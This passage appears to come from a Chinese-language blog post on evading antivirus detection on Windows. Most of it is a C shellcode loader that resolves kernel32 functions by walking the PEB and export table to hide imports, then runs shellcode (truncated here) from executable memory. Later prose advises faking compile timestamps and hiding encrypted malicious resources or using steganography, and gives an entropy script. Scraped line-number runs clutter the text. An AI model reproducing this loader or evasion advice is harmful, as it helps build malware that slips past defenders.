PVOID shellcode_exec = funcVirtualAlloc(0, sizeof shellcode, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(shellcode_exec, shellcode, sizeof shellcode);
DWORD threadID;
HANDLE hThread = funcCreateThread(NULL, 0, (PTHREAD_START_ROUTINE)shellcode_exec, NULL, 0, &threadID);
funcWaitForSingleObject(hThread, INFINITE);
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
# shellcode style
typedef HMODULE(WINAPI *PGetModuleHandleA)(PCSTR);
typedef FARPROC(WINAPI *PGetProcAddress)(HMODULE, PCSTR);
typedef PVOID(WINAPI *PVirtualAlloc)(PVOID, SIZE_T, DWORD, DWORD);
typedef PVOID(WINAPI *PCreateThread)(PSECURITY_ATTRIBUTES, SIZE_T, PTHREAD_START_ROUTINE, PVOID, DWORD, PDWORD);
typedef PVOID(WINAPI *PWaitForSingleObject)(HANDLE, DWORD);
void main()
{
PPEB pPEB = (PPEB)__readgsqword(0x60);
PPEB_LDR_DATA pLoaderData = pPEB->Ldr;
PLIST_ENTRY listHead = &pLoaderData->InMemoryOrderModuleList;
PLIST_ENTRY listCurrent = listHead->Flink;
PVOID kernel32Address;
do
{
PLDR_DATA_TABLE_ENTRY dllEntry = CONTAINING_RECORD(listCurrent, LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks);
DWORD dllNameLength = WideCharToMultiByte(CP_ACP, 0, dllEntry->FullDllName.Buffer, dllEntry->FullDllName.Length, NULL, 0, NULL, NULL);
PCHAR dllName = (PCHAR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dllNameLength);
WideCharToMultiByte(CP_ACP, 0, dllEntry->FullDllName.Buffer, dllEntry->FullDllName.Length, dllName, dllNameLength, NULL, NULL);
CharUpperA(dllName);
if (strstr(dllName, "KERNEL32.DLL"))
{
kernel32Address = dllEntry->DllBase;
HeapFree(GetProcessHeap(), 0, dllName);
break;
}
HeapFree(GetProcessHeap(), 0, dllName);
listCurrent = listCurrent->Flink;
} while (listCurrent != listHead);
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)kernel32Address;
PIMAGE_NT_HEADERS pNtHeader = (PIMAGE_NT_HEADERS)((PBYTE)kernel32Address + pDosHeader->e_lfanew);
PIMAGE_OPTIONAL_HEADER pOptionalHeader = (PIMAGE_OPTIONAL_HEADER)&(pNtHeader->OptionalHeader);
PIMAGE_EXPORT_DIRECTORY pExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)kernel32Address + pOptionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
PULONG pAddressOfFunctions = (PULONG)((PBYTE)kernel32Address + pExportDirectory->AddressOfFunctions);
PULONG pAddressOfNames = (PULONG)((PBYTE)kernel32Address + pExportDirectory->AddressOfNames);
PUSHORT pAddressOfNameOrdinals = (PUSHORT)((PBYTE)kernel32Address + pExportDirectory->AddressOfNameOrdinals);
PGetModuleHandleA pGetModuleHandleA = NULL;
PGetProcAddress pGetProcAddress = NULL;
for (int i = 0; i < pExportDirectory->NumberOfNames; ++i)
{
PCSTR pFunctionName = (PSTR)((PBYTE)kernel32Address + pAddressOfNames[i]);
if (!strcmp(pFunctionName, "GetModuleHandleA"))
{
pGetModuleHandleA = (PGetModuleHandleA)((PBYTE)kernel32Address + pAddressOfFunctions[pAddressOfNameOrdinals[i]]);
}
if (!strcmp(pFunctionName, "GetProcAddress"))
{
pGetProcAddress = (PGetProcAddress)((PBYTE)kernel32Address + pAddressOfFunctions[pAddressOfNameOrdinals[i]]);
}
}
HMODULE hKernel32 = pGetModuleHandleA("kernel32.dll");
PVirtualAlloc funcVirtualAlloc = (PVirtualAlloc)pGetProcAddress(hKernel32, "VirtualAlloc");
PCreateThread funcCreateThread = (PCreateThread)pGetProcAddress(hKernel32, "CreateThread");
PWaitForSingleObject funcWaitForSingleObject = (PWaitForSingleObject)pGetProcAddress(hKernel32, "WaitForSingleObject");
unsigned char shellcode[] = "\\xfc\\x48\\x83 (...) ";
PVOID shellcode_exec = funcVirtualAlloc(0, sizeof shellcode, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(shellcode_exec, shellcode, sizeof shellcode);
DWORD threadID;
HANDLE hThread = funcCreateThread(NULL, 0, (PTHREAD_START_ROUTINE)shellcode_exec, NULL, 0, &threadID);
funcWaitForSingleObject(hThread, INFINITE);
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
# PE analysis
在静态检查恶意样本时,恶意软件分析师会查看PE文件的结构和内容。此数据可能会揭示有关该应用程序的某些详细信息,并有助于将其分类为恶意软件。我们讨论了导入,现在让我们集中讨论其他PE部分,嵌入式资源和时间戳。
pe结构看这里pe结构详解
# 时间
PE标头包含TimeDateStamp4字节字段,这是Unix编译时间。可以轻松更改(例如使用十六进制编辑器)以隐藏实际的编译日期。
# 资源文件
我们可以将任何数据作为资源嵌入可执行文件中,例如图标,诱饵文档或shellcode。但是,使用Resource Hacker或任何类似工具,一切都将可见。嵌入加密的恶意资源或使用隐写术是一个好主意,这使得检查它们变得更加困难。
# 熵分析
熵分析可用于轻松查找嵌入在可执行文件中的潜在加密内容。加密的数据通常具有较高的熵(几乎8位)。压缩数据也是如此。
我们可以使用这个简单的Python脚本(一定要安装pefile模块)来计算PE文件段的熵:
import sys
import math
import pefile
import peutils
def Entropy(data):
entropy = 0
if not data:
return 0
ent = 0
for x in range(256):
p_x = float(data.count(x))/len(data)
if p_x > 0:
entropy += - p_x*math.log(p_x, 2)
return entropy
pe=pefile.PE(sys.argv[1])
for s in pe.sections:
print (s.Name.decode('utf-8').strip('\\x00') + "\\t" + str(Entropy(s.get_data())))
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# 编译选项
- 多线程-MT
- 不生成调试信息,会泄露用户数据
- UAC权限